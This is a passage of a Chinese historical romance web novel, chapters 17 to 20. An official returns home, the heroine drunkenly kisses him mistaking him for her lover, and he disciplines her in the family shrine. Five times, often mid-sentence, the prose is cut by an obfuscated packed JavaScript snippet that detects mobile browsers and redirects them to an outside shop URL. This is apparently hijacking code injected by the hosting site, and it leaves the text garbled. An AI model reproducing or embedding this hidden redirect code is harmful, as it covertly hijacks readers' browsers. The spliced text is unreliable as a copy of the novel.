到底是为地位极人臣,权利压丞相的御史大夫,又兼之裴瑛久在御前,抉择国之大事,故仅仅这一抬眼时的压迫感,就忍不住让杨安平额头渗出冷汗。 “下官……下官也只是猜测,以明月坊的库房的看守制度来说,若没是裴小姐的府库钥匙,是无法将如此大量的火油运入库房的,况且,自明月坊库房建成十数年来,从未发生过起火事件,但是……下官不知当讲不当讲……” “讲。” 裴瑛虽然看起来面无表情,但是他已经沉下来的语气说明,他的心情显然不好。 “裴大人此前曾叫下官多为关照一下裴小姐,下官也担心裴大人你不在安邑,便会有人心生歹意,故此便叫派了人关注裴小姐的行止,后此人汇报说,裴小姐近来与一来历不明的男子颇多来往。” 咔嚓一声,案牍瞬间裂成两半。 杨安平顿时止了话头,却见裴瑛面上依旧带着笑,只不过眉宇间多了几分令人不寒而栗的冷色。 “继续讲。” 裴瑛本就是心思剔透之人,只杨安平这细碎地一讲,裴瑛立即便将前因后果全都理顺了,彼时他的笑容尽数湮灭在归总着那位柔弱不能自理的温姓外室细节的卷宗之上。 风雪更加盛大,以铺天盖地之势席卷而来,整座安邑城尽数淹没在滔天的风雪之中,裴瑛的斗篷也被风雪吹得猎猎作响,肃肃飘在空中,如同展翅的鹰隼,行将展开残酷的捕杀。 “封锁安邑城,任何人不得出入。” 一队领命,而后退入风雪之中。 “封锁裴府消息,任何消息不得传入裴府。” 裴瑛有条不紊地将安排着行动,一队接着一队人马离去。 裴瑛翻身上马,而后率领余下精锐,直扑城西而去。 紧闭的大门被骤然撞开,门扇轰然坠地,两列骑士下马急行,沉重急促的脚步将松软的新雪踩实,整座小院瞬间被顶盔掼甲的骑士包围。 裴瑛缓步踏入屋中,屋中并没有人,就连燎炉里的炭火都没了热气,他面无表情地览过屋中所有的陈设。 是谁,走漏了消息。 裴瑛的目光再度暗了下来。 听闻明月坊被烧,裴瑛立即就清楚朝中有人将矛头指向了裴明绘,裴瑛便不欲打草惊蛇,一路急行,可就算如此,却还是叫此人跑了。 到底是他们神通广大,还是裴家出了内鬼。 当然,裴瑛可不相信他们有什么神通,不过是阴谋诡计的高手,阴沟里不见得光的老鼠,一朝阳光破云,便叫他们死无葬身之地。 风雪稍稍收势,但是凛冽的风依旧夹杂着大片大片的雪花飘扬在空中,被风灯一照,就像是在发着光,剔透晶莹,冰冷间却又着光的温暖。 因着库房被烧此遭大害如泰山压顶一般压来,裴明绘忙得连轴转,丝毫没有发觉温晏已经有些时日没来找她来,等到大体事情都安置妥当,二人便一处饮了些酒。 裴明绘心里事情太多,一不小心就喝多了,踩就在厚厚的雪里的脚步格外踉跄。 “温公子前几天好不容易主动一回,你怎的就如此轻易就送客了?” 聂妩就拉着不争气的裴明绘往城西小院走去。 “怎么,难道我还让他留宿吗?” 不知道怎么,裴明绘的眼皮一直在跳,似乎又什么不好的事情要发生,但是一想,自己库房都被烧了,还能有什么比这个更糟糕的呢。 估计是没有了。 “那算什么?”聂妩亲昵地挽住裴明绘的肩膀,“什么比一亲芳泽更重要呢?呵呵,老大姑娘了,怎么还脸红了呢?” “你真是的。” 裴明绘将聂妩的脸推开,遂道,“直到人家还是个姑娘,你还这样说。” 聂妩笑嘻嘻的把手臂拉住裴明绘的肩上,又把凑到裴明绘耳边,吐着雾气悄咪咪地说了几句话,原本就因为醉酒而红了的脸更添了几分酡红,她赶忙把聂妩推到一边,嗔怪道,“你竟说这讨人嫌的荤话。” “好姑娘,错过这村,可没这店了。” 她们一路嬉嬉笑笑,很快就到门前,只是以往紧闭着门如今却虚掩着,两人轻轻一推就被推开了。 二人都喝醉了,聂妩一门心思撮合裴明绘与温晏,裴明绘被聂妩讲得那些荤话说得头昏脑涨,一时之间竟然谁都没有注意这一点。 小院里很黑,也很安静,只有风雪的呼啸,以及二人的踩雪声。 “去罢,按我教你的话说,保准他上钩,这小子可是纯情的呢。” 聂妩一推裴明绘的肩膀,而后就站在廊下,玩笑地似地捂住了自己的耳朵,歪着头笑道,“待会儿我就去庖厨,绝对不偷听。” “你啊你,真叫人讨厌。” 酒意上头,那旖旎的心思也随着酒意一同占据了她的心神。 今夜,所以的痴迷就都该结束了,所有隐藏在乖巧之后的疯狂心思也该随着冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426772|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风一同死去了。 冬风吹起绫罗墨发,白皙的手一把推开了门,冷风随之涌进了没有生着燎炉的屋子,夺走了屋子所剩不多的温暖。 “你怎么不点灯啊。”以往平和的声音三起三伏,尾音带了勾人的魅惑,“是在……等我吗?” 冷风似乎更加猖獗了些,吹得屋子里帷幕纷纷扬扬舒卷开合,似乎连带着雪花也在屋子里飘落起来。 “你在哪呢?” 白皙的手顺手便将门关了上来,她醉眼迷离地四处张望着,想要寻找那个熟悉的身影,屋子里头很黑,她的神志也不太清醒,故而脚步如踏云端一般恍惚跌撞。 突然,她感觉有一丝冷风吹来,她突然感到一阵骨冷,而肌肤上也因为突如其来的寒冷的刺激而起了微粒,似乎在黑暗中有一双极为恐怖的眼睛在盯着她一样。 她搂住肩膀,不满地蹙起了眉。 这氛围怎么感觉如此之怪? 她想象中的应当是红烛幽幽,照得佳人心魂荡荡,素手相执,映出一片秾丽春光颜色。 屋外冷风急雪如同鬼叫一般呼呼地吹着,带着雪粒拍打在窗子上的绷得极工整极紧的白色布帛上,像极了鬼拍窗。 可是心底的旖旎和着酒意,顿时化作了无量的勇敢。 左右不过一场混沌,算什么,又不上去上刑场赴死。 “原来你在这儿?”娇媚勾人的带着嗔怪的声音响起,裴明绘发现了那端坐在长案之后的身影,黑暗里她瞧不清楚他的面容,可是能够在此处的,除了温晏,又能有谁呢? “怎么不出声啊。” 裴明绘款款走了过去,粉色的裙裾拖曳过铺着红毡的地面。 深浓的夜色里他的容颜不甚清晰,但是那双眼睛半阖的眼睛之下似乎隐匿着什么。 “怎么了?”她笑着走了过去,冰凉的双手轻轻捧住他的脸,却发觉他的脸竟然比她的手还要凉,好像一块冷玉,虽然冰冷,却美丽丝滑的叫人爱不释手。 原本旖旎的心思顿时消散了大半,这让裴明绘顿时有了退缩的意思。 空气逐渐凝固,像是于无声中绷起了一根看不见的弦。 裴明绘的呼吸急促,她凝眸看着自己手中的人。 依旧是那样朗月清风不惹尘埃的身形,在如同漏着雪光的黑暗里,带着某种无形的压迫感,压迫她既紧张,又兴奋。 谁在谁的股掌? 翻雨覆云,不过一念之间,顷刻间尔。 温晏也抬起眼睛来,凤眸里如同深海般深沉的黑暗,以及压抑在眸底的危险的警告之意。 随着他的抬眼,霎时间,不大的空间里便弥漫起危险而又紧张的气息。 一朝生,一朝死。 可偏偏就是这种眼神,瞬间便让裴明绘心潮起伏,每一个感官都被刺激得无比敏感。 一瞬之间,心弦崩断。 像极了他,像极了他。 裴明绘的呼吸急促,这一刻,她心底里所有的被压抑的欲望悉数决堤而出,轰轰烈烈淹没一切。 17. 第 17 章 裴明绘的呼吸急促,这一刻,她心底里所有的被压抑的欲望悉数决堤而出,轰轰烈烈淹没一切,淹没她所有的理智,淹没她所有的考量。 酒意再次上头,她低下头去。依照自己所预想的,直接吻了上去。 或许因为太紧张太激动,一不小心牙齿撞在一起,发出清脆的响声。 但是对于裴明绘来说,这只是一个不足一提的小插曲。 这是青涩的,并不熟练的,但又及其暧昧的充斥着欲望的,几乎要夺走对方所有空气的一个吻。 她很少如此霸道,往常跟着裴瑛,大多跟裴瑛一样,待人接物非常随和。 但是二人对于自己的东西,却有着极其隐秘的霸道。 裴明绘的脑海与思维悉数炸开,朝思暮想,梦里梦外都在贪恋着的,奢望着的,在阴差阳错之下,在两个人都错位着的情况下,实现了。 而下一瞬,裴明绘就被猛地推开了,而后重重地摔倒在地,发髻都摔得散落开来。 旖旎的心思顿时烟消云散,她茫然地错愕地愤怒地回头,显然不知道温晏为何如此大的脾气,竟然敢推她! “你疯了?!” 她捂着摔痛的腰不可置信地质问温晏。 “放肆!” 一声气到颤抖着的暴怒传来,这无比陌生却又无比熟悉的声线登时叫裴明绘酒意全消,而后血液倒流,冷汗唰地一下就流了下来,脑子里所有欲望轰然散去,惊惧着的理智一下子就回拢了。 “哥……哥……” 她的声音颤抖着,浑身也抖如筛糠,她的理智也在灯火倏然亮起的那一刻彻底爆炸,连同着她的躯体也一同炸成了碎片。 完蛋了完蛋了!!! 她内心尖叫着,脸色也唰得一下白了下来。 昏暗的橘红色灯火如潮水一般蔓延开来,照亮了站在面前的人,为他镀上了一层柔和的金边,同时却也将他的面容分成阴暗两面。 一半是光亮,一半是阴影。 俊美的面容因为极度的愤怒而甚至变得恐怖。 此人,正是裴瑛。 裴明绘朝思暮想,并为之深深所困扰的人。 她的哥哥。 “不……不……” 裴明绘哆嗦着,她的四肢百骸在巨大的恐惧之下都失去控制,她看着裴瑛几乎暴怒,登时下得瘫坐在地上,止不住地颤抖,连着声线也都颤抖起了,一句完整地话都说不出来。 “我……我,不是……故……故意……的。” “裴子吟。”裴瑛的胸膛剧烈欺负着,巨大的愤怒在此刻攫取了他的理智,以往所有的从容不迫决浮云的气魄在此刻尽数烟消云散,只剩下赤裸裸的怒火。 “你很好。” 几乎是咬牙切齿地说出这几个字,裴瑛怒极反笑,他薄薄的唇角扬起了让人不寒而栗的微笑。 原本裴瑛尚担忧着裴明绘,同时也想弄清楚,裴明绘和那个所谓的外室到底是什么关系,他一向自信,对自己这个的妹妹,他也十分自信地认为,不过是外人乱传的谣言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438206|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了,就像长安里传的热闹的他与南云长公主的传闻一样。 裴明绘顿时吓得浑身如同雪一般凉,看着裴瑛暴怒成如此模样,更是三魂荡荡七魄悠悠,几乎连滚带爬地想要跑。 裴瑛见状,三步上前按住她的肩膀,而后猛地向下一压,裴明绘便被他压得跪倒在地。 她胳膊吃疼,而后就被迫着跪下了,与此同时周身的骨骼也似乎因为不堪重负而发出了咔嚓的声音。 彼时聂妩听到屋中传来奇怪的声音,惊疑之下酒意也消了大半,正自走上前来,借着门缝一窥,就见裴瑛黑衣黑甲,面色冷峻得几乎要杀人,尤其是那薄唇之侧噙着的冷冽的笑意,登时叫聂妩呼吸一窒。 裴瑛眼风一扫,眸中的杀意登时叫她骨冷,她哆嗦着转身就要跑。 “抓住她。” 冰冷的命令即可下达,而后黑影窜动。 就听门外一声惨叫,裴明绘登时惊惧不已,吓得浑身剧烈一颤,而后便是止不住的哆嗦。 裴明绘自与裴瑛成为兄妹,裴瑛对她,便从来是和颜悦色一团春风,任何不好的情绪都没有在她面前显露过,今日裴瑛雷霆一怒,隐约见便将往日审讯政敌与要犯的凌厉凶狠带了出来,如何不把裴明绘吓得浑身颤抖? 随着时间的流逝,裴瑛的情绪渐渐隐藏了下来,他一把握住裴明绘的肩膀,强行让一直扭头逃避的裴明绘转过头来。 “裴子吟,几月不见,本事倒是愈发大了。” 显而易见,这并不是赞誉之辞。 18. 第 18 章 随着时间的流逝,裴瑛的情绪渐渐隐藏了下来,他一把握住裴明绘的肩膀,强行让一直扭头逃避的裴明绘转过头来。 “裴子吟,几月不见,本事倒是愈发大了。” 他的声音冷的都掉冰碴子,他说得极慢,几乎没说一个字,裴明绘的心都随之一颤。 “没……没……” 裴明绘看着裴瑛,浑身都忍不住颤抖,像是秋风中的落叶一般,颤颤悠悠行将掉落。 “哼。” 裴瑛见裴明绘吓成如此模样,闭了闭眼,心道自己就这么一个妹妹,怎么也不能把她吓死,便松开了钳制住她肩膀的手,冷哼一声转身就离开,冷冷地撂下一句话就转身离去。 “回府。” 眼见裴瑛的身影越来越远,裴明赶忙手脚并用的爬了起来,结果腿还在发抖,几乎要站不住了,她手抖着捏了捏自己腿,便赶忙走了过去。 裴瑛的步子停留了片刻,偏过头扫了一眼身后,见裴明绘跟了上来,方才又往前走去。 她跟在裴瑛后边,低着头默默地走着。 裴瑛翻身上马,便看也不看裴明绘,但到底估计着雪天路滑,故按辔徐行,也不着急快走。 裴明绘默默地爬上了马车,而后甲士将昏迷的聂妩也被丢了上来。 完蛋了…… 裴明绘只觉身心都冰凉了。 一生一次勇敢,竟然还亲错了人。 她虽然是喜欢裴瑛,可一个是哥哥,一个是妹妹,是注定不能有结果的。她所能做的,只不过是暗恋。 她只能暗自痛苦,阴暗渴求,虽然爱而不得很痛苦,但至少不会让她有一头撞死的心思。 裴明绘无助地抱着昏迷的聂妩,紧紧地低着头抿着唇,她思来想去,觉得还是不要面对问题比较好,故而悄悄地掀开了两侧的车帷,眸光扫过,她突然就有种想要跳车的冲动。 可是当她的目光落在辎车两侧高头大马的黑衣甲士之时,她还是默默地把帘子放了下来。 希望哥哥不知道温晏长什么样子,裴明绘默默祈祷着。 很快马车辚辚地向驶出了巷道,汇入了安邑城贯穿南北的主干大街,因着路上雪厚,马队的行驶速度并不快,而在这里的每一份每一秒对于裴明绘来说都仿佛上刀山下火海。 她不清楚裴瑛如何知晓她私养外室的,但目下最终的事,是如何狡辩……不,是如何解释她会将一个男人养在外头。 对,她是救了这个无辜可怜无家可归的少年,看他失忆实在可怜,便将他暂且收留。 至于……至于,为什么她会突然亲他,那就是……就是情不自禁,温晏的美貌太过出众,一时情不自禁,才有了如此失礼之举。 等裴明绘的理由想好了,辎车也就到了裴府,裴府的阍人一见裴家家主回来了,一路快跑就叫了管家前来,久不回裴府的裴瑛一朝归来,满府的下人纷纷都涌了过来,一时之间也是人头攒动摩肩接踵的热闹场面。 裴瑛勒马之后管家也一头大汗地跑了过来,管家殷勤地向裴瑛一躬身,遂道,“家主归来,我等下人未曾远迎,还请家主责罚才是。” 裴瑛显然没有心思顾及这些虚礼,他的目光望向了身后的辎车,而后利落翻身下马,大步走进了裴府,留下三个冰冷的没有情绪的字。 “开祠堂。” 裴明绘被前来的侍女仆妇们簇拥着,也一路磨磨蹭蹭往后院祠堂走去。 祠堂的门打开,裴瑛的目光看向那坐北朝南的由上而下层层摆放着的裴家牌位,而祠堂四处的香烛一寸一寸地照亮着他们的名字。 他的目光落在父亲的牌位之时,眸中所有的情绪都凝固住了。 他久久地站立着,直到裴明绘磨磨蹭蹭地进了祠堂。 他并没有回头,只是闭上了眼睛。 “跪下。” 裴明绘没有胆子去看那立在牌位前的男子,只得跪在地上,垂着头,不敢说话。 良久的沉默,只有冷风呼啸其间。 裴瑛长久地闭着眼睛,香烛的光照在他的面上,原本紧绷而冷冽的脸也逐渐柔和起来,原本被愤恨与震怒填满的胸腔被无力与心痛取而代之。 以及那隐秘的痛苦的陌生情绪在撕咬着他的心脏,叫他几乎没法呼吸。 “你可知……”良久沉默之后,裴瑛终于开口了,他的语气没有了愤怒,只有力不从心的疲惫,“你养在外面的那个男人是谁。” “他……他叫温晏,是颍川人,被……被我救了,但……他失忆了。” 虽然已经背好了腹稿,但她的话依旧说得磕磕绊绊,她悄悄地抬起眼帘观察裴瑛的神色,可是裴瑛依旧背对着裴明绘。 “温晏,失忆?”裴瑛缓缓转过身来,摇了摇头,“裴子吟,你何时如此愚蠢了。” 裴明绘闻言,只能缩起了脑袋,不敢在看裴瑛。 他面上已经没有了气愤,虽说他本就及其擅长控制自己的情绪,可是如今,到了极点的无奈已然将愤怒的情绪压了下去,“此贼子却是温家人,不过他可不叫什么温晏,而叫温珩。” 一言既出,五雷轰顶。 颍川温珩的大名,谁人不知谁人不晓,温家先祖追随高祖开国定鼎,自此封侯拜相,但随之过往功臣宿将的渐渐退场,温家也跟着没落下来,可是就到了温珩父亲这一辈,却又有中兴之象。 不仅温珩父亲官拜颍川郡守,在平定七国之乱之乱立下大功,只后被先帝调入长安,擢升为九卿之一的奉常,掌管汉朝的国家祭祀与国家之礼,可谓曰掌管汉朝意识形态部的重要官员,主管汉朝文化相关事宜。 但是明眼人都能看出来,先帝将能够调动一郡兵马的郡守调入长安,并委之以与经济军事关系的不大的奉常,同时调用长安官员就任颍川郡守,自此温家的在颍川的势力可谓之曰与日剧下。 但是他的一双儿女,却让逐步走向低估的温家再度发生了转折。 他的女儿,乃是皇帝的夫人,生得一张桃花面,号之为桃花夫人,深得皇帝喜爱,虽尚未生下一男半女,但是恩宠日隆,直接压过了皇后与昔日甚得皇帝喜爱的倪夫人。 而他的儿子,也就是年仅十八岁的温珩,也跟他姐姐一样,非常得帝心,以侍中身份长伴皇帝身侧,专司上谏各种娱乐之事,并不参与政事。 长安又有谁不知皇帝身边那个叫做温珩的宠臣,每每皇帝出行,就算不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463853|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上桃花夫人,也要带温珩。 原本裴瑛本对这个少年并无多少兴趣,直到他在大臣贪污受贿一案之时,发觉了温珩的手笔,虽然裴瑛顾及着桃花娘娘,并不打算在她得宠之时对她弟弟如何,可是后来,他在提审此官之时,却知晓了温珩暗中与不少官员结党,并且有了将裴瑛取而代之的心,并且多处搜罗他的错处,欲将裴瑛置于死地。 裴瑛自然要将所有可能的危机都掐灭在摇篮里,但他深知皇帝十分喜欢这个叫做温珩的少年,区区贪污之罪,并不足叫皇帝处死温珩,但是若是干预政事,刺探君心,并将之泄露给各郡国之事拿下温珩,那便只是一个顺水推舟的事了。 温珩当时到底不过一个十六岁的少年,如何能够与老谋深算的裴瑛比,很快他就落入了她精心设计的罗网,本来就要将其问斩之时,桃花夫人有了身孕,拼死救下了温珩。 但就凭一个桃花夫人,却也只能救下温珩的命,而不能保证温珩的前途,温珩被发为苦役,裴瑛又略微疏通,便让其去修筑西南夷道。 西南夷道的上马,源于出使南越的番阳令唐蒙极力渲染绥服夜郎的可能性,于是西南夷道攻城便上马了。 在修筑西南夷道的过程中,大批劳工尚且会因为因为疲劳、饥饿和瘴疠等诸多原因倒毙,又何况一个温珩呢。 后来果然不出裴瑛所料,温珩很快就死了,但是却没有见到他的尸首,这是一件让裴瑛始终没有办法安心的事。 听到这里,裴明绘的脸色彻底白了下来,她瘫坐在地。 听着军靴踩在地板的声音,以及行走之间盔甲之上的甲片相撞的金铁之声,裴明绘一抬头,就见裴瑛他径直朝着她所在的方向而来,香烛的火光被冷风吹得摇曳不止,覆在他的盔甲之上那冰冷的光晕也一同粼粼变幻,原本儒雅的面容因为剔除了剔除了温柔与愤怒,而更加冷峻,只看上一眼,心头便仿佛压上一块大石头一般无法呼吸。 这才是她哥哥,专司朝堂谋划,手下不知鲜血几多的裴瑛。 裴瑛走了过来,俯下身子,将裴明绘的身子扶正,让她端正跪着。 他的目光完全落在她的脸上,她羞愧地想要低下头去,下巴却又被裴瑛的手托住。 “明月坊库房失火,乃是温珩一手所为。”此时此刻的裴瑛已然不再愤怒,却也剔除了温柔,只平静地叙述着事实。 “是我……引狼入室。” 裴明绘羞愧地想找一个地缝钻进去,但是裴瑛显然不想给他这个机会。 “吃一堑而长一智。”裴瑛单膝跪地,目光却依旧俯视着,审判着裴明绘,“但是,裴子吟,你可知晓,裴家家训第一百零一条是什么吗?” 裴明绘骤然抬眸,眸中满是悔恨,虽然她并不想说,但是在裴瑛的眼神压迫之下,还是一句一话地说了,“凡河东裴氏之人,不可私养外室。” “今日你既违背,可知后果?”裴瑛的话语很平静。 裴明绘能够感受到裴瑛的目光一直在她身上,这样她再一次低下头,怯生生地回道。 “该当家法。” “你既然清楚,可有怨言?” 依旧平稳的声线硬生生控住了她所有的退缩。 19. 第 19 章 “那好。” 裴瑛站起身来,一伸手,而早就拿着家法等候的仆从立即恭谨地将家法递了上来。 裴瑛垂眸,修长的手握住了那两尺长,四寸宽的檀木板,裴家果真是大家,就算是惩戒人的家法的手柄出竟然也雕刻出了形形色色的奇珍异兽。 裴瑛将那家法在手中颠了颠,而后确定正好适宜之后,便示意裴明绘伸出手来。 这是裴瑛第一次以兄长的身份教训裴明绘。 “伸手。” 裴明绘哆哆嗦嗦地伸出手来,手指始终弯曲着没有办法伸直,裴瑛见状,便伸出手来,一根一根地将其捋直,冰冷的带着薄茧的指腹擦过她柔软细腻的手心,激起一片异样的酥麻。 畏惧,愧疚,与这异样的感觉混合在一起,形成了一种难以言表的陌生感觉,叫裴明绘的心悸动着。 “唯其疼痛,才会让你知道,什么可为,什么不可为。” 裴瑛平稳的声线像极了私塾里的教书先生,将人世间的道理娓娓道来,将其教给自己的妹妹。 话音刚落,就听“啪”的清脆一声,家法就重重落在了裴明绘的手心,顿时她白皙的手心就突兀地多了一条红痕。 裴明绘咬着牙,忍住疼痛与汹涌而来的羞耻。 裴瑛那握住自己指尖的手,冰冷而又坚定,每一次戒尺落下的时候,她的手都会不由自主地往下逃,而他的手就会握住她的指尖。 疼痛与羞耻之下,那股陌生的酥麻叫裴明绘的心一下一下如急促鼓点一般。 裴瑛不动声色地观察着裴明绘这幅咬牙挨打的模样,终于还是微微勾起了唇。 显然,他已经没有那么生气了。 到底是未经世事的小姑娘,哪里又知道人世间的险恶呢。总是由着自己的性情行事,最后定然是出事的。 他不加制止,谁知道又会生出怎样的惊变来? 看似毫不留情,实则处处皆在掌握的十下落了下来,顿时裴明绘的手心处便是十条交错肿胀的红痕。 “至此,此事也就过去了。”裴瑛收起戒尺,居高临下地看着隐隐泛起泪花的裴明绘,“若有再犯,可不只是十下这么简单了,明白了吗?” “明白了。” 裴明绘低低地回应道。 “你先在祠堂跪着,等我处理完聂妩,再来寻你解决余下要事。” 裴瑛的语气突然变得有些危险,一提到聂妩,话语间不经意便流露出杀意,登时惊得裴明绘心里一颤,她赶忙膝行到裴瑛近前,拽着他的衣服,泪眼朦胧地看着裴瑛,“哥哥,此时与聂妩无关,都是妹妹一人所为,你不要要她的命。” 裴瑛冷笑一声,依旧居高临下地看着裴明绘,眼中是几乎不可更改的杀意,他的语气也是砭骨的寒冷,“我的妹妹如何,我自然清楚。然聂妩一介奴婢,竟然屡次撺掇主人行不正之事,该杀。” 他看似平淡的语气里是再也掩饰不住的杀意。 早年看见聂妩能够讨总是泪眼婆娑的裴明绘的开心,裴瑛这才让聂妩作了裴明绘的贴身奴婢,后来裴瑛见妹妹有经商之才,便大力资助玉她,让聂妩从中帮衬一人,裴瑛也不曾想二人竟能将产业做的如此之大。虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483096|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴瑛并不喜妹妹经商,但是见她日渐开朗的硝烟,便也就随她去了。 可裴瑛万万也不曾想,聂妩一介奴仆,竟然屡次撺掇裴明绘养外室。 他每每想到这里,都恨不得将聂妩碎尸万段,如此家奴,好生猖狂。 若是再留她在她便,怕是又要生出怎样的麻烦。 自己仅裴明绘一个妹妹,又如何能让她祸害了? “松开。”裴瑛的目光落在她拽着自己的衣服的手,冷冷道。 裴明绘倔强地摇了摇头。 裴瑛收回目光,大步往前走,不欲再理会她,可是才走了两三步,岂料裴明绘竟然直接抱住了他的腿,双臂死死地锁住了他的腿,像是要将裴瑛抱在自己的茧房里一般。 “松开。” 裴瑛深吸一口气,压抑住胸口翻腾的怒气。 “不松。” 裴明绘死死地抱着,因为她知道,她一旦松开,裴瑛是真的会要了聂妩的命的。 “松开。” 裴瑛的语气也愈发凛冽,似乎隐隐有不耐之意。 “不……” 裴明绘却依旧倔强地摇了摇头,她知道自己靠耍赖的是绝对扭转不了裴瑛的意志的,但是一想聂妩跟了自己十数年,为自己殚精竭虑,为自己处处着想,便是难过得不能自己。 “哥哥,妹妹求你,你不要杀聂妩好不好……”裴明绘实在是压抑不住行将失去挚友的恐惧,她的泪水如同断线的珍珠一样,“你杀了她,她就死了。此事全赖子吟肆意妄为,聂妩虽大胆,却全无害我之心啊,求哥哥饶她性命!” 20. 第 20 章 “……” 裴瑛终究是被裴明绘这耍赖的话逗笑了,他知道,聂妩对裴明绘的影响很大,若是真的杀了她,怕是裴明绘又要郁郁寡欢了。 罢了罢了,饶此人一命罢。 “罢了。” 裴瑛垂首,看向抱着自己的腿眼泪汪汪的妹妹,终是在一声叹息声中放弃了杀意。 “她若再敢放肆,我绝不留她性命。” 裴明绘听裴瑛说放过聂妩,那便是真的放过聂妩了,这才小心翼翼地放开裴瑛的腿,又自己端正地跪好了。 等一切都完毕之后,已经是子夜时分了,在祠堂了跪了一个时辰,裴明绘在春喜一众奴仆的搀扶下踉踉跄跄地回道了自己的卧房。 手心很疼,膝盖也很痛,全身上下也跟着一处都没有不酸痛的地方,但是这些疼痛对于裴明绘并不算什么,真正叫裴明绘惊惧的,还是裴瑛的雷霆一怒。 以及,那错位的吻。 她痛苦地捂住脸。 哥哥一定是知道温珩长什么样子的,他一定是这样的。 哪里有妹妹会喜欢上与自己哥哥长得一模一样的男人,又有那个妹妹会亲吻与自己哥哥长得一模一样的男人。 不会。 他一定是知道了,他一定是知道了她对他有所企图,她对他居心不良。 所以他才那么生气。 裴瑛那么重礼之人,如此违背道德伦常的事,他怎么可能不生气。 若是他真的生气,万一他讨厌自己了怎么办。 裴明绘简直不敢想若是裴瑛厌恶自己该怎么办,如果真的是这样,自己哪里又有颜面在苟活于世呢? 每每想到这里,裴明绘就惊惧痛苦到了极点。 所有隐秘的不为人察觉的情丝若被人堂而皇之的摆出了,这并不异于让裴明绘自戕。 究其根源,就是自己这本就不该出现的违背伦常情感,不仅让自己陷入了泥沼,甚至也可能将自己哥哥也拖入泥沼,永世无法解脱。 她痛苦地流着泪,对自己的卑劣而生生懊悔着。 偌大的卧房只有燎炉冒着细碎火光,在黑夜里一闪一闪的,她留着泪,泪晕开了火星的光。 而就在此时,轻而规律的敲门声传来,而后便是那温润柔和的满是关切的声音传来。 “子吟,睡了吗?” “睡……睡了。” 裴明绘不想让裴瑛看见她这幅为情困扰的模样,赶忙回道。 门外传来一声无奈的轻笑,随后门缓缓推开,裴瑛走了进来。 他脱下了冷硬肃杀的甲胄,换上更为柔和的青色衣衫,袍摆随着他轻而缓的步伐轻轻摇动着,其上竹叶暗纹闪动着银色流光。 如切如磋,如琢如磨。瑟兮僴兮,赫兮咺兮。 整个人也褪去了方才的凌厉冰冷,重新又变回了裴明绘记忆里那总是笑着的温柔哥哥。 正所谓翩翩公子,举世无双。有匪君子,终不可谖兮。 “子吟,可生我的气。” 裴瑛的语调柔和了下来。 原本裴瑛还是想晾裴明绘一天,让她好好反省一下自己错在何处,可是一听守在裴明绘跟前的婢女说小姐正在哭,裴瑛所有的怒气瞬间烟消云散,想要不想,立即就来见她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493820|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哥哥。”裴明绘将眼泪擦去,不想让裴瑛看见自己的这幅模样,同时,她更怕的,若自己看见裴瑛,心中的情绪会再度控制不住,故而扭过身子去。 “我没生哥哥气。” 她的声音闷闷的。 裴瑛再度无奈一笑,缓步走过,坐在了榻上,手指搭在她的挨打的左手上,将她虚攥着的左手抚平,指尖轻轻划过她红肿的掌心,激起一阵酥麻,沿着经脉到了大脑里,荡起一片又一片沦涟。 “可还疼?”裴瑛轻声问道。 “不疼。”裴明绘的声音哽咽着。 